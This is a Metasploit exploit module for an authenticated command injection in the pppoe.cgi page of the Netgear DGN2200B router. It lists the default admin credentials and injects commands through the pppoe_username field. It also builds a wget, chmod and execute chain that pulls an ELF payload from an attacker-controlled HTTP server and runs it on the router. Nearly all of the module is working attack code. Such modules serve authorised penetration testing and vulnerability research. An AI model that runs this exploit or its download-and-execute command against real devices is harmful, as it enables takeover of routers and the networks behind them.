Netgear DGN2200B pppoe.cgi Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Netgear DGN2200B pppoe.cgi Remote Command Execution',
        'Description' => %q{
          Some Netgear Routers are vulnerable to an authenticated OS command injection
          on their web interface. Default credentials for the web interface are admin/admin
          or admin/password. Since it is a blind os command injection vulnerability, there
          is no output for the executed command when using the cmd generic payload. A ping
          command against a controlled system could be used for testing purposes. This module
          overwrites parts of the PPOE configuration, while the module tries to restore it
          after exploitation configuration backup is recommended.
        },
        'Author' => [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2013-10060' ],
          [ 'BID', '57998' ],
          [ 'EDB', '24513' ],
          [ 'OSVDB', '90320' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-015' ]
        ],
        'DisclosureDate' => '2013-02-15',
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [
          [
            'CMD',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ],
          [
            'Linux mipsbe Payload',
            {
              'Arch' => ARCH_MIPSBE,
              'Platform' => 'linux'
            }
          ],
        ],
        'DefaultTarget' => 1,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
        OptInt.new('RELOAD_CONF_DELAY', [true, 'Time to wait to allow the remote device to load configuration', 45])
      ]
    )
  end

  def get_config(config, pattern)
    if config =~ /#{pattern}/
      # puts "[*] #{$1}"	#debugging
      return ::Regexp.last_match(1)
    end

    return ''
  end

  def grab_config(user, pass)
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to download the original configuration")
    begin
      res = send_request_cgi({
        'uri' => '/BAS_pppoe.htm',
        'method' => 'GET',
        'authorization' => basic_auth(user, pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        if res.body =~ /pppoe_username/
          print_good("#{Rex::Socket.to_authority(rhost, rport)} - Successfully downloaded the configuration")
        else
          fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible or the device uses a configuration which is not supported")
        end
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    @pppoe_username_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_username\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
    @pppoe_passwd_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"password\"\ name=\"pppoe_passwd\"\ size=\"15\"\ maxlength=\"63\"\ value=\"(.*)\"><\/td")
    @pppoe_servicename_orig = get_config(res.body, "<td\ align=\"right\"><input\ type=\"text\"\ name=\"pppoe_servicename\"\ maxlength=\"63\"\ size=\"15\"\ value=\"(.*)\"><\/td")

    @runtest_orig = get_config(res.body, "<input\ type=\"hidden\"\ name=\"runtest\"\ value=\"(.*)\">")
    @wan_ipaddr_orig = get_config(res.body, "<INPUT\ name=wan_ipaddr\ type=hidden\ value=\ \"(.*)\">")
    @pppoe_localip_orig = get_config(res.body, "<INPUT\ name=pppoe_localip\ type=hidden\ value=\ \"(.*)\">")
    @wan_dns_sel_orig = get_config(res.body, "<INPUT\ name=wan_dns_sel\ type=hidden\ value=\ \"(.*)\">")
    @wan_dns1_pri_orig = get_config(res.body, "<INPUT\ name=wan_dns1_pri\ type=hidden\ value=\ \"(.*)\">")
    @wan_dns1_sec_orig = get_config(res.body, "<INPUT\ name=wan_dns1_sec\ type=hidden\ value=\ \"(.*)\">")
    @wan_hwaddr_sel_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_sel\ type=hidden\ value=\ \"(.*)\">")
    @wan_hwaddr_def_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_def\ type=hidden\ value=\ \"(.*)\">")
    @wan_hwaddr2_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr2\ type=hidden\ value=\ \"(.*)\">")
    @wan_hwaddr_pc_orig = get_config(res.body, "<INPUT\ name=wan_hwaddr_pc\ type=hidden\ value=\ \"(.*)\">")
    @wan_nat_orig = get_config(res.body, "<INPUT\ name=wan_nat\ type=hidden\ value=\ \"(.*)\">")
    @opendns_parental_ctrl_orig = get_config(res.body, "<INPUT\ name=opendns_parental_ctrl\ type=hidden\ value=\ \"(.*)\">")
    @pppoe_flet_sel_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_sel\ type=hidden\ value=\ \"(.*)\">")
    @pppoe_flet_type_orig = get_config(res.body, "<INPUT\ name=pppoe_flet_type\ type=hidden\ value=\ \"(.*)\">")
    @pppoe_temp_orig = get_config(res.body, "<INPUT\ name=pppoe_temp\ type=hidden\ value=\ \"(.*)\">")
    @apply_orig = get_config(res.body, "<input\ type=\"SUBMIT\"\ name=\"apply\"\ value=(.*)\ onClick=\"return\ checkData\(\)\">")
  end

  def restore_conf(user, pass, uri)
    # we have used most parts of the original configuration
    # just need to restore pppoe_username
    cmd = @pppoe_username_orig
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the Netgear device to reload original configuration")

    res = request(cmd, user, pass, uri)

    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
    end

    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting #{@timeout} seconds for reloading the configuration")
    select(nil, nil, nil, @timeout)
  end

  def request(cmd, user, pass, uri)
    # original post request
    # login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20COMMAND%20%26
    # &pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5
    # &WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen
    # &runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0
    # &wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0
    # &wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05
    # &wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0
    # &pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0
    res = send_request_cgi(
      {
        'uri'	=> uri,
        'method' => 'POST',
        'authorization' => basic_auth(user, pass),
        'encode_params' => false,
        'vars_post' => {
          'login_type' => 'PPPoE%28PPP+over+Ethernet%29', # default must be ok
          'pppoe_username' => cmd,
          'pppoe_passwd' => @pppoe_passwd_orig,
          'pppoe_servicename' => @pppoe_servicename_orig,
          'pppoe_dod' => '1',	# default must be ok
          'pppoe_idletime' => '5',	# default must be ok
          'WANAssign' => 'Dynamic',	# default must be ok
          'DNSAssign' => '0',	# default must be ok
          'en_nat' => '1',	# default must be ok
          'MACAssign' => '0',	# default must be ok
          'apply' => @apply_orig,
          'runtest' => @runtest_orig,
          'wan_ipaddr' => @wan_ipaddr_orig,
          'pppoe_localip' => @pppoe_localip_orig,
          'wan_dns_sel' => @wan_dns_sel_orig,
          'wan_dns1_pri' => @wan_dns1_pri_orig,
          'wan_dns1_sec' => @wan_dns1_sec_orig,
          'wan_hwaddr_sel' => @wan_hwaddr_sel_orig,
          'wan_hwaddr_def' => @wan_hwaddr_def_orig,
          'wan_hwaddr2' => @wan_hwaddr2_orig,
          'wan_hwaddr_pc' => @wan_hwaddr_pc_orig,
          'wan_nat' => @wan_nat_orig,
          'pppoe_flet_sel' => @pppoe_flet_sel_orig,
          'pppoe_flet_type' => @pppoe_flet_type_orig,
          'pppoe_temp' => @pppoe_temp_orig,
          'opendns_parental_ctrl' => @opendns_parental_ctrl_orig
        }
      }
    )
    return res
  rescue ::Rex::ConnectionError
    vprint_error("#{Rex::Socket.to_authority(rhost, rport)} - Failed to connect to the web server")
    return nil
  end

  def logout(user, pass)
    res = send_request_cgi({
      'uri' => '/LGO_logout.htm',
      'method' => 'GET',
      'authorization' => basic_auth(user, pass)
    })
    if res.nil? or res.code == 404
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful logout possible")
    end
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(rand(8..15))
    uri = '/pppoe.cgi'
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    @timeout = datastore['RELOAD_CONF_DELAY']

    #
    # testing Login
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Trying to login with #{user} / #{pass}")
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET',
        'authorization' => basic_auth(user, pass)
      })
      if res.nil? or res.code == 404
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
      if [200, 301, 302].include?(res.code)
        print_good("#{Rex::Socket.to_authority(rhost, rport)} - Successful login #{user}/#{pass}")
      else
        fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
    end

    grab_config(user, pass)

    if target.name =~ /CMD/
      if !(datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      cmd = "%26%20#{cmd}%20%26"
      res = request(cmd, user, pass, uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      else
        print_status("#{Rex::Socket.to_authority(rhost, rport)} - Blind Exploitation - unknown Exploitation state")
      end
      return
    end

    # thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      service_url = 'http://' + srvhost_addr + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...")
      start_service({
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        },
        'ssl' => false # do not use SSL
      })

    end

    #
    # download payload
    #
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Asking the Netgear device to download and execute #{service_url}")
    # this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename};chmod 777 /tmp/#{filename};/tmp/#{filename}"
    cmd = Rex::Text.uri_encode(cmd)
    cmd = "%26%20#{cmd}%20%26"
    res = request(cmd, user, pass, uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{Rex::Socket.to_authority(rhost, rport)} - Giving #{datastore['HTTP_DELAY']} seconds to the Netgear device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # reload original configuration
    #
    restore_conf(user, pass, uri)

    #
    # lockout of the device and free the management sessions
    #
    logout(user, pass)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, _request)
    # print_status("on_request_uri called: #{request.inspect}")
    if (!@pl)
      print_error("#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{Rex::Socket.to_authority(rhost, rport)} - Waiting for the victim to request the ELF payload...")

    waited = 0
    until (@elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
      end
    end
  end
end